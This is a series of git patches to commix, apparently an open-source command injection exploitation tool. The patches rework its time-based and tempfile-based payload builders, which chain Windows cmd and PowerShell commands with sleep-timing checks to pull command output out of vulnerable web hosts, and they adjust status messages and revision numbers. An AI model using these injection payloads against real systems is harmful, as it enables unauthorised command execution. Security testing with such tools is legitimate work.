"').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\"" - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -498,7 +498,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http """ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + @@ -566,7 +566,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me """ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index cbae53b3ce..6fe99e1673 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -387,14 +387,24 @@ def captcha_check(page): Checking the reliability of the used payload message. """ def check_for_false_positive_result(): - debug_msg = "A potential injection point has been detected. " - debug_msg += "Checking the reliability of the used payload " - debug_msg += "in case of a false positive result. " - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - sys.stdout.write(settings.print_bold_debug_msg(debug_msg)) - print(settings.SINGLE_WHITESPACE) - + info_msg = "A potential injection point has been detected. " + info_msg += "Checking the reliability of the used payload " + info_msg += "in case of a false positive result" + if settings.VERBOSITY_LEVEL != 0: + info_msg = info_msg + ".\n" + else: + info_msg = info_msg +", please wait..." + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + +""" +False positive or unexploitable injection point detected. +""" +def unexploitable_point(): + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) + warn_msg = "False positive or unexploitable injection point has been detected." + print(settings.print_bold_warning_msg(warn_msg)) + """ Counting the total of HTTP(S) requests for the identified injection point(s), during the detection phase. """ diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 0f7fe627f6..50db678240 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -349,22 +349,18 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. - elif (i == int(menu.options.failed_tries) and no_result == True) or (i == total): - if i == total: if finalize(exit_loops, no_result, float_percent, injection_type, technique): continue else: raise - tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - warn_msg = "It seems that you don't have permissions to " - warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - print(settings.SINGLE_WHITESPACE) + sys.stdout.write("\r") + message = "It seems that you don't have permissions to " + message += "read and/or write files in '" + settings.WEB_ROOT + "'. " while True: - message = "Do you want to use the temporary directory (" + tmp_path + ")? [Y/n] > " + message = message + "Do you want to use the temporary directory (" + tmp_path + ")? [Y/n] > " tmp_upload = common.read_input(message, default="Y", check_batch=True) if tmp_upload in settings.CHOICE_YES: exit_loops = True diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index d04f346735..94ea471073 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -229,11 +229,11 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Identified false positive warning message. if false_positive_warning: - warn_msg = "Unexpected time delays have been identified due to unstable " - warn_msg += "requests. This behavior may lead to false-positive results.\n" - sys.stdout.write("\r" + settings.print_bold_warning_msg(warn_msg)) + message = "Unexpected time delays have been identified due to unstable " + message += "requests. This behavior may lead to false-positive results. " + sys.stdout.write("\r") while True: - message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " + message = message + "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": @@ -310,10 +310,10 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue - if settings.VERBOSITY_LEVEL == 0: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + # if settings.VERBOSITY_LEVEL == 0: + # info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + # sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + # sys.stdout.flush() except (KeyboardInterrupt, SystemExit): if 'cmd' in locals(): diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 9d73e3c6f3..6f91ee3932 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -367,12 +367,16 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese found_chars = False checks.check_for_false_positive_result() - + # Varying the sleep time. timesec = timesec + random.randint(1, 5) # Checking the output length of the used payload. + if settings.VERBOSITY_LEVEL == 0: + sys.stdout.write(timesec * ".") for output_length in range(1, 3): + if settings.VERBOSITY_LEVEL == 0: + sys.stdout.write(timesec * ".") # Execute shell commands on vulnerable host. if alter_shell : payload = tfb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) @@ -436,7 +440,8 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese is_valid = False for num_of_chars in range(1, int(num_of_chars)): for ascii_char in range(1, 9): - + if settings.VERBOSITY_LEVEL == 0: + sys.stdout.write(timesec * ".") # Get the execution ouput, of shell execution. if alter_shell: payload = tfb_payloads.fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) @@ -494,12 +499,11 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese output = "".join(str(p) for p in output) if str(output) == str(randvcalc): + if settings.VERBOSITY_LEVEL == 0: + sys.stdout.write(" (done)") return how_long, output else: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "False positive or unexploitable injection point detected." - print(settings.print_warning_msg(warn_msg)) + checks.unexploitable_point() """ Export the injection results diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 7d3d540646..3801c9bbed 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -27,7 +27,7 @@ """ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + pipe + @@ -111,7 +111,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + pipe + @@ -195,7 +195,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque """ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"" + @@ -306,7 +306,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -393,7 +393,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ """ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " @@ -469,7 +469,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(ord(file.read().strip()[" + str(num_of_chars - 1) + "][0])); exit(0)\"" - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -542,13 +542,13 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t """ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " - "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" + "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" ) elif separator == "&&" : @@ -557,8 +557,8 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth payload = (ampersand + "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " - "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" + "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" ) else: @@ -611,7 +611,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "]); exit(0)\"" - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c " + diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index f72cebc574..85cf8f3008 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -210,7 +210,7 @@ def estimate_response_time(url, timesec): if settings.TARGET_OS == "win": warn_msg = "Due to the relatively slow response of 'cmd.exe' in target " warn_msg += "host, there might be delays during the data extraction procedure." - print(settings.print_bold_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) else: if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) diff --git a/src/utils/settings.py b/src/utils/settings.py index c3b3f6a02b..4464e9c856 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "92" +REVISION = "93" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From fa1c2a2c5785499668438f125901ad7ab2c42bfe Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 26 Jun 2022 10:43:57 +0300 Subject: [PATCH 171/560] Minor updates --- .../blind/techniques/time_based/tb_handler.py | 2 -- .../blind/techniques/time_based/tb_injector.py | 8 ++------ src/core/injections/controller/checks.py | 2 +- .../semiblind/techniques/file_based/fb_handler.py | 3 +-- .../techniques/tempfile_based/tfb_handler.py | 12 +++--------- .../techniques/tempfile_based/tfb_injector.py | 10 ++++------ .../techniques/tempfile_based/tfb_payloads.py | 8 ++++---- src/utils/settings.py | 2 +- 8 files changed, 16 insertions(+), 31 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index b363373d80..ae48ada154 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -498,9 +498,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - print(settings.SINGLE_WHITESPACE) print(settings.print_output(output)) - print(settings.SINGLE_WHITESPACE) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) elif gotshell in settings.CHOICE_NO: diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 2a6b4056ed..31d2dc95da 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -510,11 +510,9 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese def export_injection_results(cmd, separator, output, check_how_long): if output != "" and check_how_long != 0 : print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) print(settings.print_output(output)) info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "." - sys.stdout.write("\n" + settings.print_info_msg(info_msg) + "\n") + print(settings.print_info_msg(info_msg)) else: # Check if exists pipe filtration. if output != False : @@ -526,8 +524,6 @@ def export_injection_results(cmd, separator, output, check_how_long): raise SystemExit() # Check for fault command. else: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) err_msg = common.invalid_cmd_output(cmd) - sys.stdout.write("\r" + settings.print_error_msg(err_msg)) + print(settings.print_error_msg(err_msg)) # eof \ No newline at end of file diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 6fe99e1673..42707ba15e 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -387,7 +387,7 @@ def captcha_check(page): Checking the reliability of the used payload message. """ def check_for_false_positive_result(): - info_msg = "A potential injection point has been detected. " + info_msg = "Potential injection point has been detected. " info_msg += "Checking the reliability of the used payload " info_msg += "in case of a false positive result" if settings.VERBOSITY_LEVEL != 0: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 50db678240..d576f54c7a 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -402,7 +402,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r except (KeyboardInterrupt, SystemExit): # Delete previous shell (text) files (output) if 'vuln_parameter' in locals(): - print(settings.SINGLE_WHITESPACE) + # print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise @@ -626,7 +626,6 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r except KeyboardInterrupt: # Delete previous shell (text) files (output) - print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 94ea471073..58327d60f2 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -310,15 +310,11 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue - # if settings.VERBOSITY_LEVEL == 0: - # info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - # sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - # sys.stdout.flush() except (KeyboardInterrupt, SystemExit): if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. - print(settings.SINGLE_WHITESPACE) + # print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise @@ -547,9 +543,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - print(settings.SINGLE_WHITESPACE) print(settings.print_output(output)) - print(settings.SINGLE_WHITESPACE) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) @@ -573,8 +567,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, except (KeyboardInterrupt, SystemExit): # Delete previous shell (text) files (output) from temp. - print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + sys.stdout.write("\r") raise except EOFError: @@ -584,13 +578,13 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, print(settings.print_error_msg(err_msg)) # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + sys.stdout.write("\r") raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) return False - else : sys.stdout.write("\r") sys.stdout.flush() diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 6f91ee3932..9990b3c32b 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -23,6 +23,7 @@ from src.thirdparty.six.moves import urllib as _urllib from src.utils import menu from src.utils import settings +from src.utils import common from src.thirdparty.colorama import Fore, Back, Style, init from src.core.requests import tor from src.core.requests import proxy @@ -511,14 +512,11 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese def export_injection_results(cmd, separator, output, check_how_long): if output != "" and check_how_long != 0 : print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) print(settings.print_output(output)) info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "." - sys.stdout.write("\n" + settings.print_info_msg(info_msg) + "\n") + print(settings.print_info_msg(info_msg)) else: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) err_msg = common.invalid_cmd_output(cmd) - sys.stdout.write("\r" + settings.print_error_msg(err_msg) + "\n") + print(settings.print_error_msg(err_msg)) + # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 3801c9bbed..bd145f21ef 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -399,7 +399,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE + "do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\"" ) elif separator == "&&" : @@ -409,7 +409,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE + "do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\"" ) else: @@ -548,7 +548,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec * 2) + "\"" ) elif separator == "&&" : @@ -558,7 +558,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec * 2) + "\"" ) else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 4464e9c856..cebfd30abd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "93" +REVISION = "94" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 244632def1aa3a8d1d2e693b82391212447ad62f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 27 Jun 2022 09:32:28 +0300 Subject: [PATCH 172/560] Fixes https://github.com/commixproject/commix/issues/772 --- src/utils/common.py | 6 +++--- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/utils/common.py b/src/utils/common.py index 8de209f3d4..9d5268d3a8 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -70,7 +70,7 @@ def is_empty(): answer = item.split('=')[1] if len(item.split('=')) > 1 else None if answer and question.lower() in message.lower(): value = answer - print(settings.print_message(message + value)) + print(settings.print_message(message + str(value))) return value elif answer is None and value: return is_empty() @@ -79,7 +79,7 @@ def is_empty(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Used the given answer." print(settings.print_debug_msg(debug_msg)) - print(settings.print_message(message + value)) + print(settings.print_message(message + str(value))) return value elif value is None: @@ -87,7 +87,7 @@ def is_empty(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Used the default behavior, running in batch mode." print(settings.print_debug_msg(debug_msg)) - print(settings.print_message(message + default)) + print(settings.print_message(message + str(default))) return default else: return is_empty() diff --git a/src/utils/settings.py b/src/utils/settings.py index cebfd30abd..2e1b7f4a7b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "94" +REVISION = "95" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 32f7c76bd17632f0a1b40d52f248c7f68d655542 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 28 Jun 2022 07:10:01 +0300 Subject: [PATCH 173/560] Minor update --- .../techniques/time_based/tb_payloads.py | 32 +++++++++---------- .../techniques/tempfile_based/tfb_payloads.py | 32 +++++++++---------- src/utils/settings.py | 2 +- 3 files changed, 33 insertions(+), 33 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index fd7a9446cb..4976fa8bdf 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -31,7 +31,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : @@ -40,7 +40,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) else: @@ -103,7 +103,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) @@ -114,7 +114,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: @@ -185,7 +185,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : @@ -195,7 +195,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) else: @@ -261,7 +261,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) elif separator == "&&" : @@ -271,7 +271,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c " + 